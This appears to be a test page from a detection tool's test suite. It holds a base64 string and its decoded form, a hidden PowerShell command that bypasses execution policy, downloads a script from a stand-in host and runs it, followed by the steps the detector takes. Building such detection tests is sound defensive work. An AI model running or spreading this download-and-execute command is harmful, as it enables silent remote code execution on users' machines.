← Back to test suite
🧪 Nehboro Test Page: Verified Base64 Payload  ·  Should trigger: BASE64_PAYLOAD

Base64 with decoded PowerShell content

The encoded string below decodes to PowerShell commands:

cG93ZXJzaGVsbCAtVyBIaWRkZW4gLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLUNvbW1hbmQgIklFWChJV1IgLVVzZUJhc2ljUGFyc2luZyAnaHR0cDovL2V4YW1wbGUuY29tL3gucHMxJykuQ29udGVudCI=

This is ~260 chars of valid base64 that decodes to: powershell -W Hidden -ExecutionPolicy Bypass -Command "IEX(IWR -UseBasicParsing 'http://example.com/x.ps1').Content"

Detection will: (1) identify as base64, (2) call atob(), (3) find PowerShell + URL in decoded content, (4) fire with 2+ signals.